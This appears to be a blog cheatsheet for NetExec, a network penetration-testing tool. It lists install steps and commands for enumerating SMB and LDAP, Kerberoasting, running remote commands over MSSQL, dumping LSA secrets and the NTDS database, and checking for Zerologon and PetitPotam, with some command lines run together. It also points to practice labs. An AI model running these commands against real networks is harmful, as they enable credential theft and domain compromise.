NetExec, also known as nxc, is a powerful network hacking tool designed to automate security assessments of large-scale networks.
It builds upon the legacy of CrackMapExec, offering enhanced functionality for penetration testers, red teamers, and cybersecurity professionals. Below is a detailed cheatsheet to help you utilize NetExec effectively.
To install NetExec:
bashsudo apt install pipx git
pipx ensurepath
pipx install git+https://github.com/Pennyw0rth/NetExec
netexec --version The general syntax for NetExec commands:
bashnetexec <service> <target> -u <username> -p <password> Example for SMB:
bashnetexec smb target -u username -p password netexec smb target -u '' -p ''netexec smb target -u 'guest' -p ''netexec smb target -u username -p password -knetexec smb targetnetexec smb target -u username -p password --sharesnetexec smb target -u username -p password --usersnetexec smb target -u username -p password --groups --users --shares --sessionsnetexec smb target -u username -p password --get-file target_file output_file --share sharenamenetexec ldap target -u '' -p '' --usersnetexec ldap target -u username -p password --kerberoasting hash.txtnetexec mssql target -u username -p password -x command_to_executenetexec ftp target -u username -p password --lsnetexec smb target -u username -p password --lsanetexec smb target -u username -p password --ntdsCheck for vulnerabilities like Zerologon or PetitPotam:
bashnetexec smb target -u username -p password -M zerologon netexec smb target -u username -p password -M webdavnetexec ldap target -u username -p password --bloodhoundExplore the official NetExec Wiki and practice labs like HackTheBox’s Mist or Rebound to refine your skills.
This cheatsheet provides a quick reference to NetExec’s core functionalities, enabling efficient network enumeration, exploitation, and post-exploitation tasks.
What is a Software Supply Chain Attack? A software supply chain attack occurs when a…
When people ask how UDP works, the simplest answer is this: UDP sends data quickly…
Endpoint Detection and Response (EDR) solutions have become a cornerstone of modern cybersecurity, designed to…
A large-scale malware campaign leveraging AI-assisted development techniques has been uncovered, revealing how attackers are…
How Does a Firewall Work Step by Step? What Is a Firewall and How Does…
People trying to securely connect to work are being tricked into doing the exact opposite.…